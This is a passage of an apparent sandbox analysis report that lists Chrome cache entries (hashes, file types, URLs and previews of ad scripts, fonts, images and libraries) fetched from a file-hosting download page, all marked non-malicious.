SHA-256:	29100BD1144787C9193D31FE9790D60726DAC6C38557EDA01157AF6B97C29DC5
SHA-512:	CF798A3AFDE5E62979C6ECDCE1442F6DBD49B1600013C4CEF3D55B88674C5C6F6B9BC1EDAF7679AA39EB93A7277F2997BD41B13502BC756624C1F2C59F7153A0
Malicious:	false
Reputation:	unknown
Preview:	{"lb":"I5Rdlzl9CJM69pthS1Cu9w=="}

Chrome Cache Entry: 289

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (38128)
Category:	downloaded
Size (bytes):	142661
Entropy (8bit):	4.471378676925289
Encrypted:	false
SSDEEP:	3072:Cgg4d3uTeQeuTeg69uTeCnuTeF+uTecqIuTeBjuTecH5tAlfk4eHamE6:Cgg4dtH5tAlf5eHaJ6
MD5:	D35F70C53F0EF3CFE9EA836568209317
SHA1:	F8DB65A91FA284A9819D4FC1B5884C2661D5E561
SHA-256:	85DC4C9308480350AB5D9B8424DE2B4F4963B52195AC7356828F9C2B76178DC6
SHA-512:	8B60A19BA79168C7C849A3BF78A1B4C5377664BB50576D1F9B11B6ADF6285974B124A6B175C3F1D33A97FA6CC23741B2C0A6EFD618FF0E10CE478D54E7F57565
Malicious:	false
Reputation:	unknown
URL:	https://ads.themoneytizer.com/s/requestform.js?siteId=85433&formatId=2
Preview:	function tmzrScriptErrorHandler(url) {. var fallbackScript = document.createElement('script');. fallbackScript.src = url;.. document.head.appendChild(fallbackScript);.}..var tmzrCountExec = function(siteId, formatId, status){. if(Math.floor(Math.random() * 10)!==0){. return;. }.. let u = "https://metrics.biddertmz.com/metric?s="+siteId+"&f="+formatId+"&fi="+status;. fetch(u);.}.. tmzrCountExec(85433, 2, 99);....if (typeof(Array.prototype.multisplice) !== 'undefined') {. delete Array.prototype.multisplice;.}.if (typeof(Array.prototype.addWithoutDupliacte) !== 'undefined') {. delete Array.prototype.addWithoutDupliacte;.}.if (typeof(Array.prototype.removeElement) !== 'undefined') {. delete Array.prototype.removeElement;.}..if (typeof window.whatToLoad != 'function') {. window.whatToLoad = function(adId, args) {. switch (adId) {. case 38:. var lib_corner_video = document.createElement('script');. lib

Chrome Cache Entry: 290

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	172244
Entropy (8bit):	5.321197787150283
Encrypted:	false
SSDEEP:	768:18H8m8t8E878K8R868P8I8V8O8D80zHeH/H4HBHqHrH2HNH0HLHiHZHQHwL+LXLc:Ix
MD5:	091B9D065EFAB2EB511CBF2046BCFE9A
SHA1:	548A7D25ABBCDA41A16B5F2732893CA438B80FCC
SHA-256:	5022CFF58C72A93D74EF78DB304D583AF3E3A70CE0FD686782A700A5C398C9E1
SHA-512:	929C5F2BE1ACC3DA14CA0F6223CD17621E28DD32FF105295F26190894A92172DBDD53223107E0DBE4C5F7F82CC4ADFA40E83CA9F0002C5DBB53061E8130D7413
Malicious:	false
Reputation:	unknown
URL:	https://csync.smartadserver.com/diff/rtb/csync/TemplatePool.min.js
Preview:	var poolData={76:{2:{type:0,http:"https://rtb-csync.smartadserver.com/redir/?issi=1&partnerid=160&partneruserid=1&redirurl=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dsmartrtb_dbm%26google_cm%26google_sc%26google_hm%3DSMART_USER_ID_B64",https:"https://rtb-csync.smartadserver.com/redir/?issi=1&partnerid=160&partneruserid=1&redirurl=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dsmartrtb_dbm%26google_cm%26google_sc%26google_hm%3DSMART_USER_ID_B64",priority:150,isGdprSupported:true,gdprRule:1,vendorId:755},3:{type:0,http:"https://rtb-csync.smartadserver.com/redir/?issi=1&partnerid=160&partneruserid=1&redirurl=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dsmartrtb_dbm%26google_cm%26google_sc%26google_hm%3DSMART_USER_ID_B64",https:"https://rtb-csync.smartadserver.com/redir/?issi=1&partnerid=160&partneruserid=1&redirurl=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dsmartrtb_dbm%26google_cm%26google_sc%26google_hm%3DSMART_USER_ID_B64",priority:

Chrome Cache Entry: 291

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	50208
Entropy (8bit):	3.7232264743291714
Encrypted:	false
SSDEEP:	768:x4wSS1mgrTW7eXUVjaiSqRI5nRz9q3VBF8D103aMgg9iJYYTCszA0oB00crUy:x4wSSFyeSDSnDq3Vj4g9iJY8CsNoB0
MD5:	8A300A9FB258C5E82A2CC9B751CC1B19
SHA1:	07F8DB6CC798916AEB9DE0C6FCC5EF08A96DC9D5
SHA-256:	F89D0A653AE729F51C9D245A90507D3E45543D9CC74E08908C4FB4EFA3524327
SHA-512:	01564DD0AD0D8DFDD0557252DFF0A0F991F7F4D03B984A56B9B1175826F9E4CA6EEDA0A29AEC84A51F6BC575F26D9B7C5D17E80868110A88C4D0B1C16F89AC34
Malicious:	false
Reputation:	unknown
URL:	https://oxy.st/images/ltd.svg
Preview:	<svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.0693V3.04688H16.3242V4.12695H11.3818V7.32617H15.6953V8.39941ZM21.6768 8.97363H19.3389V13H18.0195V3.04688H21.3145C22.4355 3.04688 23.2969 3.30208 23.8984 3.8125C24.5046 4.32292 24.8076 5.06576 24.8076 6.04102C24.8076 6.66081 24.639 7.20085 24.3018 7.66113C23.9691 8.12142 23.5042 8.46549 22.9072 8.69336L25.2451 12.918V13H23.8369L21.6768 8.97363ZM19.3389 7.90039H21.3555C22.0072 7.90039 22.5244 7.73177 22.9072 7.39453C23.2946 7.05729 23.4883 6.60612 23.4883 6.04102C23.4883 5.42578 23.3037 4.9541 22.9346 4.62598C22.57 4.29785 22.0413 4.13151 21.3486 4.12695H19.3389V7.90039ZM32.9834 4.12695H29.7842V13H28.4785V4.12695H25.2861V3.04688H32.9834V4.12695ZM35.8682 13H34.5557V3.04688H35.8682V13ZM45.2812 3.04688V9.81445C45.2767 10.7533 44.9805 11.5212

Chrome Cache Entry: 292

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	8217
Entropy (8bit):	4.3736511627397565
Encrypted:	false
SSDEEP:	192:S9LBKa7a17t7hzIeA4Wl5Cn9JBtnReFTTYUEwI+aqN:El7GR9seOl5AREbINS
MD5:	CC54F0829767B49845F9EFE8EC4C7347
SHA1:	82A844CF7B6D217983AAD02E036F4E983020E1E6
SHA-256:	6A62E58DD62C1F48F9E28869A685DAD62E2FAC04B750FFE8C38B870AA2BCC4B6
SHA-512:	3B85E6BD4A46ACF9884CD83E89151CB3F0B043067BAE0FD80C6DE2AD0747363DC8676A46391352FBA4D83FDED4960A267DEE6141FCDD773D78AA8699BE82E5B0
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/img/oxy-logo.svg
Preview:	<svg width="1276" height="287" viewBox="0 0 1276 287" fill="none" xmlns="http://www.w3.org/2000/svg">.<path fill-rule="evenodd" clip-rule="evenodd" d="M96.5 243C120.204 255.664 142.095 258.283 168.298 252.311C194.502 246.339 217.67 231.112 233.546 209.428C249.422 187.744 256.94 161.059 254.719 134.276C252.498 107.493 240.686 82.4112 221.455 63.6388C202.223 44.8663 176.863 33.6643 150.034 32.0908C123.205 30.5174 96.7099 38.6782 75.4157 55.0739C54.1215 71.4695 39.459 94.9987 34.1221 121.338C28.7867 147.671 33.1303 175.044 46.3547 198.432C46.3583 198.438 43.9755 193.994 43.979 194L34.9548 202.007C28.2874 207.922 17.4068 206.463 12.6867 198.902C10.1754 194.88 7.93551 190.773 6.5891 186.484C-0.623894 163.509 -1.98813 138.922 2.85815 115.004C9.72043 81.1354 28.574 50.8807 55.9548 29.7986C83.3356 8.71653 117.404 -1.77691 151.902 0.246304C186.399 2.26952 219.008 16.6735 243.737 40.8117C268.465 64.9499 283.653 97.2011 286.509 131.64C289.366 166.078 279.698 200.39 259.284 228.273C238.87 256.155

Chrome Cache Entry: 293

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	50208
Entropy (8bit):	3.7232264743291714
Encrypted:	false
SSDEEP:	768:x4wSS1mgrTW7eXUVjaiSqRI5nRz9q3VBF8D103aMgg9iJYYTCszA0oB00crUy:x4wSSFyeSDSnDq3Vj4g9iJY8CsNoB0
MD5:	8A300A9FB258C5E82A2CC9B751CC1B19
SHA1:	07F8DB6CC798916AEB9DE0C6FCC5EF08A96DC9D5
SHA-256:	F89D0A653AE729F51C9D245A90507D3E45543D9CC74E08908C4FB4EFA3524327
SHA-512:	01564DD0AD0D8DFDD0557252DFF0A0F991F7F4D03B984A56B9B1175826F9E4CA6EEDA0A29AEC84A51F6BC575F26D9B7C5D17E80868110A88C4D0B1C16F89AC34
Malicious:	false
Reputation:	unknown
Preview:	<svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg">.<path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.0693V3.04688H16.3242V4.12695H11.3818V7.32617H15.6953V8.39941ZM21.6768 8.97363H19.3389V13H18.0195V3.04688H21.3145C22.4355 3.04688 23.2969 3.30208 23.8984 3.8125C24.5046 4.32292 24.8076 5.06576 24.8076 6.04102C24.8076 6.66081 24.639 7.20085 24.3018 7.66113C23.9691 8.12142 23.5042 8.46549 22.9072 8.69336L25.2451 12.918V13H23.8369L21.6768 8.97363ZM19.3389 7.90039H21.3555C22.0072 7.90039 22.5244 7.73177 22.9072 7.39453C23.2946 7.05729 23.4883 6.60612 23.4883 6.04102C23.4883 5.42578 23.3037 4.9541 22.9346 4.62598C22.57 4.29785 22.0413 4.13151 21.3486 4.12695H19.3389V7.90039ZM32.9834 4.12695H29.7842V13H28.4785V4.12695H25.2861V3.04688H32.9834V4.12695ZM35.8682 13H34.5557V3.04688H35.8682V13ZM45.2812 3.04688V9.81445C45.2767 10.7533 44.9805 11.5212

Chrome Cache Entry: 294

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 34288, version 1.0
Category:	downloaded
Size (bytes):	34288
Entropy (8bit):	7.9941816021665675
Encrypted:	true
SSDEEP:	768:uKjF9YG365INB2Po7dQskNCk0st38Ym46HbJQmhpY1:1zYeNj7dQlCk0g385P7pY1
MD5:	71221D6BF4204042B1BBC3902D08A81B
SHA1:	92A10D7982D33E1E216EE8E1AEC79C3AE8BCB8B6
SHA-256:	92443D06835A28423649BCA60E6D755E4A1BD09638443196D58E0DD1F06C827F
SHA-512:	7F68F448A024BDD8E1B46F34F7DDED13D6C02CC46F93E1D72D1AF3D2AC0536B8DAFF6413FBA17C86ED7531FAB88D60C3099B0284B023B0549B1222C163ACAE20
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/montserrat/v26/JTUQjIg1_i6t8kCHKm459WxRyS7m.woff2
Preview:	wOF2..............<....}..........................=......H?HVAR./.`?STAT.4'2..D/~.......8....0....6.$.... ..n..<..[.)Q".[....Xm.......Mk..@'M.5.....`s.@.......pK.R....BY.6...z....N.g.R....{..YMp.j...D..Ib...cxdm."....sl..[.kg.Y).8z.k....#...#...A6@1.....>.}..z.....ajX.:4-.c.a.....?7..z.\|...v....1"..%..{.......+.+._......rI....B...!Z.SXE..S1L(edP..].J.h...H.B..<....(.W....(.@.hM..pU;.R?..Lz=....O..w...Q.g-.Uy.t..w....h#..Q.8R...4r.....R.P.m.......ty19..N....."....\|9...4.[Nb..#.aR.:.o..:e..D...F.............;bY,$Q.]...O..A.....<.D.g...F.$!....8. .2fk.'.'J.w.'.z.;.#...t..d.N..........X.(..t.UZ]..P>....~..s.N.g.?@....=3..Q.....1......~].Q..!..$...bp.........=s...A...wAT.K"kJ;DB"..$...E....3.W....]..3..k...gH,.2..@...^._......;DL.c.v.w,....K@..RE.?.kB....ko................t.>.....?.-...Y.r.b^~...x....t..................n.k..\|^....]...^*<.......Kk.......`0.../.zS.q........{..r.).of.1.,......Y..r..C...gxN.E...}...JYnl.R......n.;M3....)4.q.....09.

Chrome Cache Entry: 295

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 33092, version 1.0
Category:	downloaded
Size (bytes):	33092
Entropy (8bit):	7.993894754675653
Encrypted:	true
SSDEEP:	768:c+2lFKscxQAuDJ5m/xiYEQNMJjFaf0TteqKt:cZlhcxJuDa/xiMMJhaItzKt
MD5:	057478083C1D55EA0C2182B24F6DD72F
SHA1:	CAF557CD276A76992084EFC4C8857B66791A6B7F
SHA-256:	BB2F90081933C0F2475883CA2C5CFEE94E96D7314A09433FFFC42E37F4CFFD3B
SHA-512:	98FF4416DB333E5A5A8F8F299C393DD1A50F574A2C1C601A0724A8EA7FB652F6EC0BA2267390327185EBEA55F5C5049AB486D88B4C5FC1585A6A975238507A15
Malicious:	false
Reputation:	unknown
URL:	https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2
Preview:	wOF2.......D......6...............................a......Z?HVAR...`?STAT.8'2..F/~.....\|.M....0....6.$.... ..x..<..[.%Q.i.<.N..t.Yx..5.A...\|..g#l....5.....D.Bt.......l.Y].)..(..H.s..V..ruM....[.....I.0h.v.Hc.R..]....`$.I)G.+.}....E%.H..\|..%nEE.....+.x..7\|........[..V....[.......0...CA.._....)2.$.....s_fw....+.V.H.B.<?.?..mloc..1.Q....a.r#...)......\|.F>..../6-.......t......>......tO.:f@b....u.I(.Bc..b....7.?A.....vE.}...kb]W7.h..$@......T1t.8.._?...~..,..I..."Y...1..s.V........R.Bf2..I....s.........u.P.&..D./"2qf....p.sv..)b5.yR.$MR3.@.E../>{w.....f...cN...2.v.....]>..Ow...9/!v...r..1.4.n.w...T......=...hRH!.....2`...u..82L...S.v.ik^.V.....@..N....d{..{...NN"'.H...H$..H.<..{?..x.....zv.}.~.N)4.g...X.....8\|}...e,%.:..;.Q..88...@..=UVHe....g..zD?..U...~.J...oMoP..6B"Y.{BN...vY<.o..r.7.7j%.Z%.'...]...........YK...,.a-;.M....>\.......%'+8Z.1K.y...9.(;.5 ..M..L.(..9...T)........hx..i2Y...m..{ulY...d......")^.,.n.~..r..S.o.$.....6=.i...N.....q0 ....

Chrome Cache Entry: 296

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/slake/asset/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 297

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	99914B932BD37A50B983C5E7C90AE93B
SHA1:	BF21A9E8FBC5A3846FB05B4FA0859E0917B2202F
SHA-256:	44136FA355B3678A1146AD16F7E8649E94FB4FC21FE77E8310C060F61CAAFF8A
SHA-512:	27C74670ADB75075FAD058D5CEAF7B20C4E7786C83BAE8A32F626F9782AF34C9A33C2046EF60FD2A7878D378E29FEC851806BBD9A67878F3A9F1CDA4830763FD
Malicious:	false
Reputation:	unknown
URL:	https://ads.adlook.me/vast?id=5344&w=1263&h=710&mult=1&rw=0&ref=&loc=https%3A%2F%2Fdownload.oxy.st%2Fd%2FSmUh%2F2%2F5744b8343e4600a69fa0181348e90fc8&top=&pt=inread&_ts=1718442903095
Preview:	{}

Chrome Cache Entry: 298

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2162
Entropy (8bit):	4.655663585165413
Encrypted:	false
SSDEEP:	48:qkCDhll5xuPgTXCeybFuryI7hAu3obFuA8igBQWbz:glCUybFuuI9j3obFuBi/Wbz
MD5:	AA489CAF1E3F2BF852E2C60E6408B067
SHA1:	9960B9D960FD5CA70683AA20C78A4F962C549168
SHA-256:	37A31642AF0A7FE695ED0FD68A06A55AF44E854D083DC7F5D0E70535F0189AE0
SHA-512:	EBFFC578839A404557FAC7B51511D3D5FB1BA7711DABA34480FB89875740FFBB90FBCC98986F2F1F5399B42E9707F851301D740477D877FE471F69A061F49C25
Malicious:	false
Reputation:	unknown
URL:	https://onetag-sys.com/usync/?pubId=2a897e3f18e6769&cb=1718442893618
Preview:	<!DOCTYPE html>.<html lang="en">.<head>. <meta charset="UTF-8">. <title>Sync Pixels</title>.</head>.<body>..<script>.. var syncPixels = "";. var syncIframes = "";.. var GDPR_APPLIES = "gdpr=";. var GDPR = "gdpr_consent=";. var US_PRIVACY = "us_privacy=";... var params = location.search.substring(1);. var consentString = "";. var usPrivacy = "";. var gdprAppliesValue = "1";.. try {.. var index = params.indexOf(GDPR);. if (index >= 0) {. consentString = params.substring(index + GDPR.length).split("&")[0];. }.. index = params.indexOf(GDPR_APPLIES);. if (index >= 0) {. var tmp = params.substring(index + GDPR_APPLIES.length).split("&")[0];. gdprAppliesValue = (tmp == null \|\| tmp === "" \|\| tmp === "1") ? "1" : "0";. }.. index = params.indexOf(US_PRIVACY);. if (index >= 0) {. usPrivacy = params.substring(index + US_PRIVACY.length).split("&")[0];. }..

Chrome Cache Entry: 299

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x824, components 3
Category:	dropped
Size (bytes):	31870
Entropy (8bit):	4.37308367242378
Encrypted:	false
SSDEEP:	384:alr/DX7IpHyQefgKdgZbcEyUjQvsD5swzJM:w/DX7IxzKdgZJbdJM
MD5:	8E2A0E56AE25B282B437F9D5BD300D96
SHA1:	5D4BA26731EE84BA9BBC5487312162B826EDE550
SHA-256:	B48A7837A73459A7D6F545CB45A810533D9BF006A54077B2CA3BD62DD6F6315D
SHA-512:	A2529EFB9941F92A6C84C40214BC9C7C97AB70DD69040238B82F9422BFB5424B41E3F56146017C4A9FDB545B17F84058E03C8179FD4F6385E542D799DF5D7A4B
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5aaa53e0-8413-0a44-88a2-af9827a5e901" xmpMM:DocumentID="xmp.did:89697D20CB3211E8BFD7E2E2A2AF5AE8" xmpMM:InstanceID="xmp.iid:89697D1FCB3211E8BFD7E2E2A2AF5AE8" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d1913ab5-0429-d942-a7a7-87386829cec2" stRef:documentID="adobe:docid:photoshop:5262d1c0-5654-c04f-af53-5c69d3b30458"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 300

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2277)
Category:	downloaded
Size (bytes):	2312
Entropy (8bit):	5.296919143371954
Encrypted:	false
SSDEEP:	48:hYyZSHvciyQHEmENRVcUzb7H6om3JXo7lerFUbY0kTy8:hFZ3QkmwJ36lO7iul8
MD5:	89B1396632234EE336BF4CBCB7CEC200
SHA1:	A15FA06C1276F6F5A83E4653CD0A6DBECC5DC18A
SHA-256:	E61EF2AB7C9DA28AA74EF73B341C0502F7AE8EE2951D28A71004E30B7F90B836
SHA-512:	96ADF0EC5AD8112D015AC0B809E249F5625BB0B96434EFF14DE0A4103A15A19ABB3D8C7E9D23A585D26A179DBE8DBB7AA6E51C15550A857A350D1C2480152364
Malicious:	false
Reputation:	unknown
URL:	https://download.oxy.st/js/jquery.cookie.min.js
Preview:	/! jquery.cookie v1.4.1 \| MIT /.!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?a(require("jquery")):a(jQuery)}(function(a){function b(a){return h.raw?a:encodeURIComponent(a)}function c(a){return h.raw?a:decodeURIComponent(a)}function d(a){return b(h.json?JSON.stringify(a):String(a))}function e(a){0===a.indexOf('"')&&(a=a.slice(1,-1).replace(/\\"/g,'"').replace(/\\\\/g,"\\"));try{return a=decodeURIComponent(a.replace(g," ")),h.json?JSON.parse(a):a}catch(b){}}function f(b,c){var d=h.raw?b:e(b);return a.isFunction(c)?c(d):d}var g=/\+/g,h=a.cookie=function(e,g,i){if(void 0!==g&&!a.isFunction(g)){if(i=a.extend({},h.defaults,i),"number"==typeof i.expires){var j=i.expires,k=i.expires=new Date;k.setTime(+k+864e5*j)}return document.cookie=[b(e),"=",d(g),i.expires?"; expires="+i.expires.toUTCString():"",i.path?"; path="+i.path:"",i.domain?"; domain="+i.domain:"",i.secure?"; secure":""].join("")}for(var l=e?void 0:{},m=document.cookie?document.c

Chrome Cache Entry: 301

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x824, components 3
Category:	dropped
Size (bytes):	31870
Entropy (8bit):	4.37308367242378
Encrypted:	false
SSDEEP:	384:alr/DX7IpHyQefgKdgZbcEyUjQvsD5swzJM:w/DX7IxzKdgZJbdJM
MD5:	8E2A0E56AE25B282B437F9D5BD300D96
SHA1:	5D4BA26731EE84BA9BBC5487312162B826EDE550
SHA-256:	B48A7837A73459A7D6F545CB45A810533D9BF006A54077B2CA3BD62DD6F6315D
SHA-512:	A2529EFB9941F92A6C84C40214BC9C7C97AB70DD69040238B82F9422BFB5424B41E3F56146017C4A9FDB545B17F84058E03C8179FD4F6385E542D799DF5D7A4B
Malicious:	false
Reputation:	unknown
Preview:	......Exif..II*.................Ducky.......d......http://ns.adobe.com/xap/1.0/.<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:5aaa53e0-8413-0a44-88a2-af9827a5e901" xmpMM:DocumentID="xmp.did:89697D20CB3211E8BFD7E2E2A2AF5AE8" xmpMM:InstanceID="xmp.iid:89697D1FCB3211E8BFD7E2E2A2AF5AE8" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d1913ab5-0429-d942-a7a7-87386829cec2" stRef:documentID="adobe:docid:photoshop:5262d1c0-5654-c04f-af53-5c69d3b30458"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....Adobe.d...............................

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1920 x 890, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	74560
Entropy (8bit):	7.802767503415719
Encrypted:	false
SSDEEP:	1536:JDQHZpFK0csucx8NgPZzb8BinbR5IGJEEYfyGQFdX45IaWTf:JDGZMDcNPR93msFJN7f
MD5:	CE2F90B81EE3A43F46C29223AD1D981B
SHA1:	B82B68C892BD7C8B0BF06A883F1BDCD8CA0121E5
SHA-256:	7B5C7BC066EB345C6C48189F960AD13FAC80ADD5B5769E2D7A1F59D82A382505
SHA-512:	85333D169F9815E608ECA91D3BA07B18AD6D121806CAEC0474FD73BCDF22CD0EC032058AE029FD8AC650667DF7A382C1FE186EC15F2E13B224A253E7D7C3C674
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......z.............tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:d24d0c60-723f-2345-942b-db2b0163c968" xmpMM:DocumentID="xmp.did:A23D7D97E1D911E8942BA7F01240A034" xmpMM:InstanceID="xmp.iid:A23D7D96E1D911E8942BA7F01240A034" xmp:CreatorTool="Adobe Photoshop CC 2018 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:0fc79567-2ab2-1247-98b2-4ca18afdf3ca" stRef:documentID="adobe:docid:photoshop:c95dba4e-10c2-4f44-9edd-c0f063e16a4e"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>]._....RIDATx...]z.8.(

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	3.9297954712258907
Encrypted:	false
SSDEEP:	3:YWQRAA2neiI:YWQmveiI
MD5:	D31320B41A6A283815FB2F490B9F227F
SHA1:	E21F339A128F97ED4F85AA079661CEC810089DC6
SHA-256:	435B1ECE4A55F4F8D06866B32C1AEE3CC4661EB905265894795F15A57BF1B33D
SHA-512:	F6AEAB24B8BE1A17B061DFBD89EF67E669E9A57B4A39E6051467A4974C854E87DACDBCDAC9F4F129C5EDB3739BBE06D27E0D94528D8C6229FDC3848A43BCB047
Malicious:	false
Reputation:	unknown
URL:	https://lexicon.33across.com/v1/envelope?pid=0015a00002vNEdMAAW&gdpr=0&src=pbjs&ver=8.46.0&coppa=0&b=1&g=5cD8c3WL9sBrwhAf7sizQsZTTWkmHwO3mxl2kPfqiIQ%3D
Preview:	{"succeeded":false,"error":"Cookied User"}

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (950), with no line terminators
Category:	downloaded
Size (bytes):	950
Entropy (8bit):	5.005411926596024
Encrypted:	false
SSDEEP:	24:9yTFgJoQKS5QKEtFmGbCz784q1L82p2iqaCdD3lIiKs/eaucvIO/A:QTqoQKS5QK4mGbCzQmew1dN/hvIO4
MD5:	D2F3E245321ECD69015A30565ED8535A
SHA1:	6B99CF689C984166865F85F8DC28FC58B602BA02
SHA-256:	85A84CCE5975D81D9009C56CED59332395D25984840C4BAF0DF689ECC8AD7559
